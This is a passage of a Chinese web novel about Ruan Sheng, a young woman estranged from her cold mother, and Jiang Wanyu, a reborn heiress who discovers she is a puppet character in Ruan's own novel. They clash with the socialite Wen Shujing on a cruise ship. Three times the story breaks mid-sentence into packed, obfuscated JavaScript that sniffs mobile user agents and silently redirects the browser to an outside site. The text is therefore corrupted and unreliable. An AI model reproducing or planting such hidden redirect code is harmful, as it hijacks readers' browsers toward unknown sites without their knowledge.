阮笙还记得徐助理说今日母亲会早些回家,于是拿完药就赶紧回到家。 阮白今日果然早回,阮笙都顾不上手腕上的疼,见阮白站在客厅。立即走上前去打招呼:“妈妈。” 客厅内不止阮白一人,徐助理也在,还有一位她不认识的女性。看样子她们是有工作要谈,阮笙喊完阮白又礼数周全地与其她人打过招呼。 她最近的课程里包含礼仪课,她学得很快,连上课的老师都惊叹阮笙学习的速度。 阮笙自己也有些奇怪,她虽然一直都挺会学习的,但一接触这些,像是天生就会一样,看过几遍便准确地掌握了技巧。 “这是你的女儿?怎么从来都没听你提起过?”阮白身旁的陌生女人瞧着阮笙笑道,“这跟你简直一个模子里刻出来的。” 女人是说者无心,但在阮笙听来却是让她难过至极的一句话。 阮白竟从未提起过她,从未对外说过自己的女儿。 阮笙自记事起就与奶奶相依为命,阮奶奶也几乎不在她面前提起两位母亲简玉暖与阮白的事。 阮笙只知道生母简玉暖很早就已去世,再问具体的情况,阮奶奶总是避而不谈。而阮白在晏城工作,自阮笙有记忆起从未回过家。 阮笙在晏城上的大学,也从未见过阮白。 她记得见到阮白的第一面,是得知奶奶的死讯,匆匆赶到嘈杂的医院,推开病房门看到站在窗边的阮白。 阮笙清楚地记得那刻阮白的目光,对方见到自己的时候没有一丝惊喜,悲凉的目光扫视着阮笙的脸,像是在寻找着什么。 阮白看了她好久,始终未发一言,最后好似彻底地放弃了,缓缓阖上眼,再睁开时便只剩下冷漠。 那是阮笙第一次见到母亲,她连“妈妈”都还未喊出口,就好像被眼前这个与她血脉相连的亲人所不喜了。 那时阮笙因奶奶的离世而痛苦万分,无暇再顾忌其她的情绪,只是本能的坚强,本能地忽视着母亲对她的疏离。 二十年从未来见她,丧事处理完后也再不对她过问。 阮笙清楚地知道阮白对自己的态度。只是人大概天生逃不过血脉相连的束缚,她也无法逃离对母爱的渴望。所以阮白让徐助理来接她时她毫不犹豫就答应下来,安排进公司时她也没有任何反对。 即使在此之前阮笙从未想过从商,也毫无兴趣。她有着自己的愿望,是在家乡的镇上开一间书屋,与奶奶一起经营书店。 阮奶奶做了一辈子的教师,阮笙与村里的人都尊称她为“阮老师”。阮老师退休后又在村里支了个摊位卖书,给村里的小孩讲书中的故事,教书上的内容。 她总希望没书读的孩子能有机会读书,哪怕那些孩子无法去城里考学,也至少能多看看书。 扩充眼界,明白事理。 阮笙很小的时候就会跟着奶奶去摊位上卖书,也受奶奶的影响爱看书,喜欢那些来听奶奶讲故事的小孩。 小时候下雨无法出去摆摊子,她便坐在门口一边看书,一边想,长大了要开一间书屋,哪怕刮风下雨,也能开门,也能见到伙伴。 “是我与阿暖的女儿,之前在母亲那长大。”阮白回答的声音将阮笙的思绪拉回来。 阮笙瞧见对方说这话时脸上竟有了丝笑,说到“阿暖”时,目光更是变得柔和起来。 不过这样的神情只有一瞬,阮白说完便转头看向阮笙,目光也立即冷了下来:“回房间去吧,我有工作要忙。” 阮笙喉间一紧,顿了好几秒才乖乖应下,低着头回到自己的房间。 包里装着毕业证书,她本想给母亲看;手腕还隐隐作痛,她也想同母亲讲今日与江家大小姐发生的事。 可此时她被阮白赶到了房间里,两人之间像是有道厚重的壁垒,让她什么都无法传达出口。 “阮老师,你说我该怎么办?”阮笙有些丧气,手指勾着腕上的佛珠,无奈地叹息。 腕上的佛珠是阮奶奶专门求得,只愿保佑阮笙平安。 或许是因为生母简玉暖的过早离世,奶奶总说世事无常,每日供奉菩萨像,只求家人平安健康。 缭缭香烟,弥漫在阮笙的童年,那特殊的香火气味,在阮笙的记忆里从未消逝。 佛珠一直散发着微凉质感,好像奶奶与这佛珠一样,守护着她。 阮笙叹息一声,她不爱轻言放弃,选择来到晏城,来到阮白身边,一开始就下定了决心。 阮奶奶对她从小严格,但并不想她做个书呆子;磨炼她的性子,却只望她明媚开朗,活得开心顺畅。 阮笙一直谨记着。 “阮老师,我会跟妈妈好好相处,会开开心心。”阮笙一边自顾自地承诺,一边给自己打气。 但要先讨厌阮白一周! 总是给她冷脸,就见了几面还动不动就凶她。若非是她长辈,是她母亲,她早就撸起袖子叉腰骂人了! 几十岁的人了对人一点礼貌都没有,就她阮笙这么个血脉了还不好好对待! 别人妈妈都是“乖女儿冷不冷、热不热的”,就阮白天天冷得跟冰块似的,以为自己是制冰机啊! 那干嘛把她接来城里,干嘛还要培养她继承公司嘛? 等着以后继承了就把公司全给捐了,气不死她! 阮笙在心里一通骂完,愉快地将那些不开心暂时丢掉。 她这可不是骂长辈,她一个字都没说出口。 不再去想阮白的事,干脆打开电脑开了直播与粉丝聊聊天。 看直播的几乎都是她的书粉,她乐意与她们交流,虽然主业不在此道,但从开始写文没多久就一直与粉丝保持着这样的联系。 她开播时间不固定,大多数老粉都知道,所以直播的热度也不高,大多时候就几个老粉守着。 这次也是,开播等了好一会才有两三个熟悉的id出现,阮笙与她们打招呼,一边写着小说,一边闲聊,也排解着心中的难受。 写起小说时阮笙才又想起今日江晚榆与闻姝静的事,她觉得实在巧合,两个人与她写的小说角色名字都相同。 阮笙多了几分怀疑,于是又去网上查了查晏城江家和闻家。 但网上的信息很杂,能查到的都是资料总结的内容,江晚榆如传闻一般优秀到让人羡慕,也十分低调,都是圈子里的人知晓她。 而闻家更加低调,凭阮笙在网上随便搜索一下,自然更查不到什么有用的信息。 她干脆放弃了,其实江晚榆什么的也不关她的事,她之后都不想再见这个人。 倒是今日直播间来了个她不认识的id,直播间经常会有路过的人进来,本没有值得注意的,而阮笙注意到那人纯粹是因为对方显眼。 【秋刀鱼不过期投喂快乐蛋糕。】 【秋刀鱼不过期投喂冰镇可乐。】 【秋刀鱼不过期投喂安心熊。】 【秋刀鱼不过期投喂心愿娃娃。】 【秋刀鱼不过期投喂火箭飞船。】 阮笙的直播间偶尔会有人送礼物,但都是一些老粉,不会送太多。 一个心愿娃娃一百块,一个火箭飞船一千元,阮笙不注意到都不行。 那个叫秋刀鱼不过期的id却还没结束,立即又刷来一条:【秋刀鱼不过期投喂火箭飞船x10】 阮笙咳了一声,赶紧出声制止:“别送了别送了,主播不是全职主播, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473093|185577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不用送这么多礼物。” 阮笙语气有些软,她说话本来就带着南方女孩子的轻柔,说话时语速也较为缓慢,让人觉得清甜又舒适。 这个id叫秋刀鱼不过期的人隔着网络,听见耳机里传来的声音,稍稍停顿住。 这声音,让她莫名觉得熟悉,好像在哪里听见过。只是透过网络传来的人声已有些失真,让她一时没办法判断。 她也无意纠结于此,她是在一小时前发现的这个直播间,无意间刷到,正想划过去,余光却忽然扫到了江晚榆与闻姝静的名字。 她正是江晚榆,奇怪自己与闻姝静的名字怎么会出现在此,观看了一会儿才知道这是什么码字直播间,直播上还挂着小说书名。 江晚榆疑惑地去找来小说看,看得并不仔细,却越看越惊心。 整部小说是以闻姝静的视角展开,写的闻姝静与江凝心的爱情小说。 文中的“江晚榆”只是一个出场不多的配角,但文中“江晚榆”围绕着女主“闻姝静”做的那些荒唐事,现实里的江晚榆全都经历过。 包括小说现在已经写到【江晚榆发现了闻姝静与江凝心私下勾搭】的情节,但现实中目前时间还未发生,江晚榆在前世也都经历过。 小说中“江晚榆”只有围在闻姝静身边的时候才会出现,完全是个没脑子的工具人。江晚榆大概翻完后回到直播间,心中有无数问题,也升起强烈的情绪。 这个小说是谁写的? 对方写的东西可以控制她吗? 对方知不知道现实中她的存在?知不知道她如今是重生之人? 是故意给她安排了这样的命运吗? 江晚榆死死盯着屏幕,心中跳出一团火,疑问、猜测与愤怒让她心尖滚烫。 她立即打电话让人去查,并让助理给了她一个充钱的账号。 江家涉及文娱产业,江晚榆也并非完全不懂这些运作,明白花钱能让对方更快注意到她。果然在砸了一堆礼物后,江晚榆听到了对方唤她。 “欢迎你来玩,但不用打赏这么多钱。” 江晚榆听到她的声音,凭声音判断对方年龄应该不算太大。不过网络上的声音十分容易造假,江晚榆并不会只以此就做出判断。 她的心此时很乱,发生的事有些超出了她的认知,她尽量冷静下来,在直播间打字,与对方周旋:【我是你的书粉,最近看了你的书。】 江晚榆还没得到对方的回应,先被直播间的弹幕刷屏了。 【最近的书粉?那部豪门狗血文?富婆都爱看这种文原来是真的!】 【前面的,不仅富婆爱看,穷穷的我也爱看,放松下不带脑子看文怎么不行了?!】 【无所谓习惯了,大大是这样的,写写正剧,写写狗血,反正狗血文也挺好看的啊。】 【大佬这送了有一万多块了,这是真富婆。】 【大大前段时间不是还说见到真富婆了吗?那天在直播间夸了人家半小时呢,还说当时紧张得快冒烟了。】 江晚榆蹙眉看着她们发弹幕说话,还在尽量处理这些信息,耳机里却突然传来一道气急败坏的女声:“你们又造谣我!我只是说她长得好看有气质,哪有夸了半小时?!而且我现在可讨厌她了!” 江晚榆越听这声音越觉得耳熟,她本无意去纠结声音的事,但这声音熟悉到好像最近就听过。 “她脑子有病,有暴力倾向,我今天去学校遇到她还被她弄伤了手,现在还疼着呢。” “我真是倒了八辈子霉,白瞎那张脸,真是越想越气!” 江晚榆将这段话听得清楚,全身一下绷紧,脑海里回想起今日发生的事。 她瞳孔微缩,呼吸猛然停滞。 她知道这声音的主人是谁了。 阮家的女儿,阮笙。 5. 第 5 章 江晚榆脑袋有一瞬宕机,她想起几次见到阮笙的情景,对方是以怎样的目光在看她? 自己这个被写成无脑配角的人,在阮笙眼中究竟又是何种模样? 甚至江晚榆怀疑阮笙早已知道她重生的事,否则前世从未在她面前出现过的阮笙,今生为何会多次与她偶遇? 阮笙是来观察她的吗? 之前她忽然能挣脱那股力量的束缚,是不是也与阮笙有关? 是了,当时她为什么会忽然想要将阮笙抓住?只是因为在渴望有人将她拉走吗? 江晚榆不停地想,一刻也停不下来。她紧紧捏住自己的手腕,听着阮笙此时说出的每一句话,回忆着阮笙与她相处时的所有细节。 直至夜深,阮笙与直播间告别,关掉了直播,江晚榆才终于找回一点自己的意识。 今日发生的一切都让她疲惫不堪,虽然心中确定了阮笙有问题,但还没有得到具体调查的结果,江晚榆也不想打草惊蛇。 对方究竟是谁,是一种怎样的力量,她该如何应对,这些都需要慢慢思考。 仰躺在椅子上,疲惫地揉着眼角。两世以来她都在寻找真相,如今第一次看到了接近“她”的路。 江晚榆却觉得好累,那些写在小说里,供她人观赏、嘲讽的人物,如小丑一样,滑稽可笑。 她甚至在想,书中的闻姝静、江凝心,那些所出现过的人,是不是也与她一样,一直被这样控制着? 江晚榆无从得知。 她的目光落到窗外,眼前却浮现阮笙的脸,对方笑起来有两个酒窝,显得又小又乖。干净的目光,与她们这个圈子里的人完全不同的朴素气质。 江晚榆第一次见阮笙时,那么轻易就放过对方,就是因为她以为阮笙干净,干净得似山林间清澈见底的泉水,似伫立在树上无害的小动物。 她不止一次觉得阮笙无害可爱。 江晚榆回想到这,眉间蒙上一层寒,冷得彻骨。 …… 阮笙接下来的生活没有什么变化,每日学习,在公司也终于能跟上进度,只是办公室的人不想与她亲近,看她的眼神里都带着探究。 毕竟她跟阮白长得太相似,任谁看了都会将两人联系起来。 部门内还出现不好的传言,都在猜测阮笙的身份,阮笙对此都不理会,反正阮白从未对外承认过她。 日子慢慢混到了七月底,天也越发炎热,阮笙的生日快到来,以往在学校时她都是跟两个朋友过的,今年也不例外。 范予与阮笙是同一个村子里来的,她俩是发小。范予以前总爱来阮奶奶的书摊前听奶奶讲故事,她比其她孩子要安静很多,看书时也更有耐心,更坐得住。 阮奶奶见孩子喜欢看书,就去她家做思想工作。 乡下的孩子很多要帮家里忙农活,有不少十几岁就因为家里忙,家里穷而辍学。 范予家里更穷,范予快10岁了都还没去上小学,所以才整天跑来听阮奶奶讲故事。 她上学的钱是阮奶奶出的,后来也争气,拿了不少奖学金,还考上了医科大学。 而苏眠语是阮笙在大一认识的朋友,家里有钱,人也很有趣,苏大小姐看阮笙好看,直接上来就要联系方式,搭档哄人的话一套套的,但又说得真诚。 反正当时把阮笙哄住了,只是两人相处很愉快却完全不来电,苏大小姐直接找对象变交朋友,一点不带犹豫的。 连着范予,三人都在晏城上学,拉着一起见见面,一来二去都熟了,自然地成了彼此很好的朋友。 “阮宝,你怎么从来没说过你是阮氏的大小姐?!”苏眠语开车到别墅接的阮笙,阮笙进公司后才跟两人说起阮白。苏眠语家也是圈子里的,虽然苏家在晏城基本排不上号,但阮氏她可是知道的。 阮笙跟范予都来自乡下,她一直以为两个好友家里都不富裕。 “我是忘记说了。”阮笙尴尬地笑。 其实也不怪她忘记,两年前她才第一次见到阮白,又处于奶奶去世的悲伤中,阮白后来也没找过她,她更不想提自己并不得母亲喜爱的事。 苏眠语也只是抱怨一句,她了解阮笙,对方不是那种粗心的人,不主动提大概率就是不想提,所以撇撇嘴也不再追问。 “我今天安排的地方包你满意,让你过一个难忘的生日。”苏眠语岔开话题,拍了拍阮笙肩膀神秘兮兮地笑。 见阮笙因为她的话睁大了眼睛,露出好奇的神色,苏眠语显得更开心。伸手就捏住阮笙脸颊的肉:“阮宝你好可爱啊,给姐姐笑一个。” “你别捏我!”阮笙真是无语。她长得小,苏眠语就比她大几个月,天天在她面前自称姐姐。 “那你也叫范予范姐姐啊。”阮笙躲开苏眠语的手指,哼着气说。 今天范予开的车,听到这话转过头来朝苏眠语看。她读书晚,是三人中最大的。 “看什么,好好开车。”苏眠语瞪过去一眼,休想让她叫这人姐姐。 范予平日性子安静沉稳,但也不会苏眠语吼一句就什么也不说,听话地转了回去。 简直乖得不正常。 阮笙立马察觉到不对,眼珠子在两人之间转:“范范和你发生了什么?怎么突然这么听你话?” “什么话,范范一直都这么乖。”苏眠语扭过头,伸手摸到驾驶位的范予,指尖随意撩起后者肩头的发丝,笑着:“是不是?” 范予没回她,却也没躲开她作乱的手指。 阮笙觉得不对劲,但又说不出哪里不对劲,苏眠语还一直逗她,也不跟她解释,她只能一边无奈地躲着,一边在心中留下疑惑。 车子很快开到目的地,居然是一辆渡轮餐厅。 范予开着车在指引下上了轮船的停车场,苏眠语在一旁为两人解释这次的行程。 这艘船并不是有钱就能上,苏眠语花了好大的力气才弄到三张票,轮船从晏城出发,走海路到宁城下船,行程一天一夜。 能上船的都是上流人物,不过她们当然不是来认识什么权贵。船上每一个季度都会有不同的主题,娱乐与美食都极其顶级。 “今年你生日我们得玩得开心!”苏眠语拉着两人,开心得不行,好像比起给阮笙过生日,其实是苏眠语更想来玩吧。 几人上船后放好东西,在侍者的指引下逛了一圈,等到晚餐时间,苏眠语特意约好一个隔间,让服务员提前精心布置,准备了蛋糕与礼物,带着阮笙到来。 她还提前与人沟通了一首生日歌的时间,阮笙到来时应该整个大厅都会响起生日歌。 苏眠语跟范予一起想这个策划想了一个月,当阮笙看到这一切时,感动得上去就抱住两人。 她是三人中年龄最小的,长得也小。两人知道她以前的家庭情况,从阮奶奶死后就更加疼惜她,真的将她当作亲妹妹一样。 “这么感动啊,那叫声姐姐。”苏眠语就喜欢逗她,捏着她的脸,不停地揉她。 阮笙无奈地瞪她,但这回没有反抗,软着声音喊了:“姐姐”。 她喉间有点哽咽,但控制住没哭出来,这种场合她不想哭,于是咧嘴扬起笑,两个酒窝让她看上去更显乖了。 “哎哟阮宝,我以后能不能生一个你这样的女儿啊。不行,不是你这样的我不要。”苏眠语被她可爱到了,当初第一次见阮笙就是被阮笙这副皮囊吸引的。 阮笙被苏眠语揉着脸,不反抗但不妨碍她翻白眼,她当对方是好朋友,苏眠语却想做她妈是吧。 只是苏眠语还有些不满,因为本来沟通好的生日歌,到现在还未响起。 苏眠语不想精心准备的礼物不完美,皱着眉去找之前沟通的经理。 只是对方并没有给出苏眠语满意的解释,只说因为有别人要用,所以没有办法放生日歌。 这话让苏眠语气极,不满地询问对方怎么回事。 “既然无法安排好就应该一开始就告知我!” “很抱歉,这是我们工作的疏忽。”经理道歉的态度还算好,她也是没有办法,是有人临时来通知她们要使用设备,她得罪不起,只能得罪苏眠语。 苏眠语心情不好,她也无可奈何,事情已经这样,也只能接受对方的赔礼。 阮笙与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473094|185577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 范予两人也上来劝说,不要因为这点事影响了她们的好心情。 本来这样就该结束了,却不想有人听到这边的动静,视线扫过来时,一眼认出来阮笙。 那人走过来,也听清了她们争执的事。高傲地看向三人,说:“是我要使用,需要借给你们吗?” 身后突然的声音让三人立即回头,苏眠语与范予还不明觉厉,阮笙却是目光一滞。 眼前之人竟是闻姝静。 苏眠语看闻姝静红发张扬,肤白胜雪,妩媚灵动,美得胜似精灵一般。她三观跟着五官走,一下就对闻姝静有了百分百的好感,加上闻姝静说的话,苏眠语真以为对方是要帮她。 刚要道谢,却被阮笙一把拉住。 闻姝静的目光一直停在阮笙身上,让阮笙感到很不舒服。她与闻姝静从未有过交流,可闻姝静此时看她的目光却并不友好。 不仅阮笙有所察觉,范予也从对方中感到一丝不对。 只有苏眠语傻傻地认为眼前的美人是个好人。 “不用,我也不需要了。”阮笙开口回道。 说完想拉着苏眠语与范予两人走,却不想闻姝静又将她们叫住。 “等等。” 闻姝静打量着三人,看着看着露出更加轻视的目光,唇角勾着讥诮,明明十分悦耳好听的声音,此时却说出刻薄的话:“她们三人是怎么上来的?连合格的装束与礼仪都没有。” 她依旧盯着阮笙,刻意的、毫不掩饰自己的敌意:“阮白真是没有好好教女儿。” 闻姝静微仰起头,眼眸因审视阮笙半阖着。她说着这样过分的话,举止依旧优雅,周围人也依旧会觉得她美丽。 阮笙的心中已生起一团火,但她极力克制着。她不明白自己哪里招惹了闻姝静,专门过来当着众人的面嘲讽她。 闻姝静看到阮笙的疑惑,还好心地为阮笙解惑:“我不喜欢我的东西沾上灰尘,一点也不行。” 闻姝静确实不爱江晚榆,但江晚榆是她的东西,不可以触碰其她。那天江晚榆第一次将她丢下,拉着一个不知哪来的女人走。 她查了阮笙的资料,知道确实跟江晚榆没什么关系,但那个江晚榆突然发脾气离开的画面里有阮笙的存在,让闻姝静厌恶至极。 闻姝静本就做事随心所欲,讨厌一个人也不需要太多理由。 阮笙听完闻姝静的话更生气了,她本就讨厌江晚榆,想到眼前闻姝静与江晚榆的关系,这下更讨厌两人。 开口就对着闻姝静输出一通,闻姝静大概是没见过敢在她面前这么说话的人,愣了半晌才回过神来。 随后神色不变,对阮笙的口头攻击更加不屑,轻哼一声:“这样没教养的乡野之人,你奶奶教书多年,却没好好教育过你吗?” 闻姝静知道阮笙的经历,知道说什么话才能真的伤人。她毫不顾忌,说完甚至轻蔑地笑了笑,看到阮笙忽然安静下来,神情不再能平静。 闻姝静终于有了一丝愉悦。 她来找阮笙麻烦也只是图个高兴,看这个人不喜,便要这个人不好过。她一向如此任性乖戾,也一向乐于此事,只怪阮笙运气不好,沾上她的东西。 阮笙稍稍低下头,在听到对方提起奶奶时眼睛就红了,苏眠语与范予离她很近,一眼就看到她眼角泛起的红,当即便愤怒的要破口大骂。 阮笙再次伸手将两人死死拉住,两人以为她要忍着,却见她倏地猛冲到闻姝静身前。 狠狠撞在了闻姝静身上! 闻姝静都没反应过来,被她撞得连退数步,身子还未稳定,却见阮笙毫不停歇,沉着脸,手掌挥出。 “啪!”的一声,一巴掌重重打了下来! 这一巴掌在众目睽睽之下打的,众人惊得沉默,阮笙死死咬着唇却还觉得不够,趁着闻姝静脑袋嗡嗡的没回过神,又扬起手,狠狠再扇了一巴掌! 吓得在场所有人静默了十几秒,无数的目光瞬息间全落到阮笙身上。 毕竟她打的可是闻家大小姐,晏城江家江晚榆捧在心尖的人啊! 而这一幕,也被不远处的江晚榆看见。 6. 第 6 章 阮笙小时候就不是什么安分的主,打架是常有的事。 阮奶奶确实是一个微不足道的学校老师,但老人一生都勤勤恳恳,从未对一个学生有过偏见。 也正是因为如此,阮笙很小的时候才会因无人看管而变得乖戾。 阮奶奶知道后总是罚她,要她好好读书,要她温和有礼。 阮笙其实是个很听话的人,小时候做的那些事都是想要得到关注与疼爱,她比同龄的孩子早熟,更早地明白奶奶的辛苦,所以收敛起锋芒,变得安静。 她本就长得白净,又喜欢读书,慢慢性子也变得温和不少。 上中学时大多数的小孩对同龄人有了更多的想法。长得漂亮,成绩优异,性格文静的阮笙自然很受欢迎,也很受忮忌。 班上有个家境很好的女生看不惯阮笙,总是欺负她,先是口头上的言语攻击,之后慢慢演变成恶意的破坏,弄坏阮笙的自行车,骂阮笙没有妈妈。 阮笙第一次在学校那样发火,冲上去像野兽一样用牙齿撕咬对方。别人都拦不住她,她骑在那人身上,眼泪不停落下,嘴里都是她咬破对方血肉的鲜血。 之后这事阮笙被全校通报,停学一个月,还被阮奶奶打了一顿。 但再也没有人敢来欺负她。 阮奶奶当时教育她,阮笙仰着头,不肯低下,倔强地认为自己没错。她此时不反驳,只是因为面前的人是奶奶,她怕奶奶再被她气着。 但她始终认为,有些人,有些事,需要用莽撞的方式处理,需要展示自己的凶狠,要对方明白,自己具有能伤人的攻击性。 一味地退缩只会让对方更加肆无忌惮。 比如对眼前的闻姝静。 闻姝静被打得狼狈不堪,半边脸都红了,整洁漂亮的衣着也因阮笙而凌乱。 但脸面像是刻入她骨子里的东西,周围太多人看着,她不能失控,不能丢脸。所以即使这种情况,闻姝静也捂着脸立即掩盖住难堪的神情。 可阮笙也清楚地看见她眼里迸出的恶毒。 不只是闻姝静,周围除了阮笙身旁的苏眠语与范予,其余人都在回过神后露出一副看戏的神情。 事情如何,孰对孰错对这些人而言都毫无意义,眼前这个大胆的女孩会有怎样的下场,闻家大小姐会如何丢脸,才是她们所感兴趣的。 她们冷漠又玩味的神态阮笙一览无余,更加厌恶这些所谓的上层人。 而闻姝静冷静下来维持着体面,但绝不会放过阮笙,立即喊来在厅外的保镖。 正要将阮笙抓住,身后倏然传来熟悉的女声。 “小姝,发生什么了?”江晚榆清冽的声音阮笙只听过几次便记忆深刻。 她更烦了,讨厌的人都到场了,对方还有专业的打手。 江晚榆走近时,闻姝静的保镖也围上来,阮笙头疼地想着等会儿要怎么脱困,这船都开了,她现在真是跑都跑不掉。 而这时已经有人同江晚榆说明情况,江晚榆听闻神情变化,冷着脸小心翼翼地触碰闻姝静受伤的脸,再回头看向阮笙时脸上已满是怒火。 江晚榆心中当然没什么感觉,闻姝静受伤与否她毫不关心,此时的她更好奇阮笙,那日在直播认出阮笙后她便让人调查了对方,且一直在思考阮笙究竟是谁? 只是从阮笙的资料上找不到任何异常,对方干干净净,没有一处不合理。 江晚榆同时也用网上的身份与阮笙有些接触,就是越接触,越感觉不到对方的异常。 阮笙所表现的一切行为,性格都是合理的,符合她成长的经历。 江晚榆也仔细看过阮笙写的那篇小说,文中“闻姝静”的性格可比真实世界的闻姝静要讨喜许多。也或许是因为视角不同,至少与江凝心在一起的“闻姝静”,更让人喜欢。 这也是让江晚榆在意的点,阮笙写“闻姝静”时给了对方很多的偏爱,会让读者喜欢的性格,无人能及的相貌,爱她至深的情人与女配,仿佛一切的美好都倾注。 那见到现实中的闻姝静,阮笙为什么这样无动于衷呢? 是早就知道闻姝静的存在吗? 并且此时对闻姝静毫不客气,毫不掩饰对其的厌恶。 江晚榆不断地分析着,不过思想没被控制,身体却因为涉及到闻姝静的事早已被操控。 她以前不懂自己每次被操控处理闻姝静的事时怎么都像降智了一样,如今才知晓因为她在文中的人设是没脑子的闻姝静的舔狗。 所以这时江晚榆得知是阮笙打了闻姝静,直接不顾自己的身份与体面,神情愤怒地走到阮笙面前,扬起手,要粗鲁地将那一巴掌打回去。 【真蠢。】江晚榆在心中想着,【控制她的人可真蠢。】 她此时毫不顾及形象亲自动手,没有一点脑子,或许会更加激怒眼前的阮笙。到时候两人扭打在一起,场面只会更加难看。 然后江家与闻家都会成为其她家饭后茶余的笑话。 闻姝静都知道这时候得控制情绪,不能当着这么多人的面自己动手。 同时喊来保镖确保这三个小孩没有任何反抗的余地。 可无论江晚榆怎么想,这要打下去的一巴掌不由她说了算。 她的手已逼近阮笙,毫不留余力,打在阮笙脸上大概率会肿起来吧。 江晚榆瞥了眼阮笙清秀漂亮的脸,心中并无怜惜。 她自身难保,心中一片灰暗,没有多余的心去同情别人。 何况,阮笙说不定是她的仇人。 “你们以为我会怕你们吗?”阮笙伸手将江晚榆打来的手掌抓住,死死拽着,双目通红,骇人的怒气已冲到眼珠子上。 要说阮笙比闻姝静也好不上多少。闻姝静是脸伤了,阮笙是心伤了。 闻姝静从小受到的教育让她哪怕在这种时候也要维持基本的体面,不能像阮笙一样发疯,否则周围都是一个圈子里的人,都会看到她失去教养的一面。 而阮笙是毫不掩饰的真情,愤怒的神情下依旧藏不住悲伤,通红的眼中又是倔强,又是脆弱。 江晚榆始终怀疑她,不会相信她此时的神情,可阮笙的情绪那般强烈,不用仔细感受都能全部体会。 江晚榆皱着眉,发现束缚自己的力量再一次消失了。在阮笙触碰到她那一刻,她感受到自己对身体有了控制权。 江晚榆惊讶不已,她猜测过上一次挣脱束缚或许与阮笙有关,但没想到是如此简单的方式。 只需要接触对方吗? 江晚榆直接用上巧劲,反手将阮笙手掌扣住,反客为主,一下变成她把人抓住。 她学过武术,这方面阮笙根本反抗不了。随后江晚榆不顾众人反应,拉着阮笙往外走。 这里人太多,不方便。 她怕阮笙挣扎,还专门贴近后者,低声说:“跟我出去,我就不追究刚才的事,也不会让其她人追究。” 江晚榆说这话时稍顿,刻意瞥了眼苏眠语与范予,意图十分明显。 说到底她与闻姝静是同类人,都明白如何拿捏别人的痛楚。 阮笙咬着唇,她是不怕这些人,可也不想连累了朋友。江晚榆看出她的动摇,直接再用上一点力气将她拉着走,让她不再迟疑。 阮笙上回挣扎吃过苦,身体下意识就顺从地被江晚榆拉着走了几步,想着如对方所说的也好。 “你们先回房间等我。”回头朝两位好友交代一句,便跟着江晚榆离开。 她们走了三四步闻姝静才反应过来。 这场景已经不是第一次,哪怕她已极力克制情绪,但全是依旧控制不住地发抖。 “江晚榆!”她从喉咙里挤出这三字,语气里裹挟着愤怒与怨恨,听得人惊骇。 江晚榆头拉着阮笙也没回,脱离控制后她一刻也不想理会闻姝静。 “给我抓住她!”闻姝静气得已经快顾及不了形象。 江晚榆当着这么多人的面拉着别的女人离开,让她丢尽面子,她怎么能允许?! 可保镖也很为难,要她们去抓阮笙,可以。 抓江大小姐? 好像江大小姐才是她们老板吧。 于是几名保镖定在原地,任由闻姝静对她们低吼,直接两耳不闻,两眼望天。 这事情的发展让周围看戏的人都惊呆了,江大小姐把闻姝静丢在原地,拉着别的女人走了? 那女人还先动手打了闻姝静,江晚榆不仅没发火,还拉着那女人单独离开…… 这剧情怎么这么像那种情况? 江晚榆对闻姝静多年至死不渝的爱情也要破裂了吗? 不管别人怎么想,江晚榆此时心情挺好。离开时瞥见闻姝静难看的脸色,足以愉悦她一整天。 她带着阮笙走到轮船的甲板,这里人少了许多,江晚榆寻到一处无人的角落停下,低眸打量起阮笙。 阮笙见江晚榆停下,却还不放开她,挣扎几下挣脱不开,心中又冒起火来:“你们都有病吗?拉我出来什么也不说,你们到底要怎样?” “嘴里说着别人没教养,自己却用死者伤人,用她人威胁,衣服穿得再人模人样,也掩盖不住心中的丑态。” 阮笙并不想自己如此不理智,她其实很久没有这样鲁莽。她是个乖孩子,听奶奶的话,一直谨记着。 对方不该提起阮奶奶,那一刻闻姝静再敢多说一句,她真的要对方这一辈子都后悔。 她是乡野来的野丫头,比不上这些人阴毒。 “骂够了吗?”江晚榆语气平静地问。 她没太听阮笙骂人,只是一直仔细地观察着后者。今日之前江晚榆都猜测是阮笙控制了她,或者阮笙与那股操控她的力量有直接联系。 但这段时日她在网上与阮笙偶尔的接触,以及今日阮笙在面对闻姝静时的一切行为,让江晚榆有了新的怀疑。 若是阮笙对一切掌控,那今日她的行为就有太多不合理。 无论是被闻姝静刺激到流泪,众目睽睽之下冲上去对闻姝静动手,还是与江晚榆触碰后让江晚榆脱离了控制,此时又这般伤心愤怒地对着江晚榆咒骂。 一切都不合常理。 江晚榆面无表情地看着阮笙此时还泛着红的眼角。年轻的女孩根本掩饰不好自己的情绪,刚出社会纯真地对所有的不公愤恨。 明明她整个人都在暴躁与愤怒的情绪里,但在江晚榆面前,依旧无法掩盖住她那副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江晚榆这话也没说全,被操控的江晚榆自然真的想打她,只是被控制的江晚榆是个直线生物,没有脑子,也想不到有人会反抗,才会被阮笙轻易抓住。 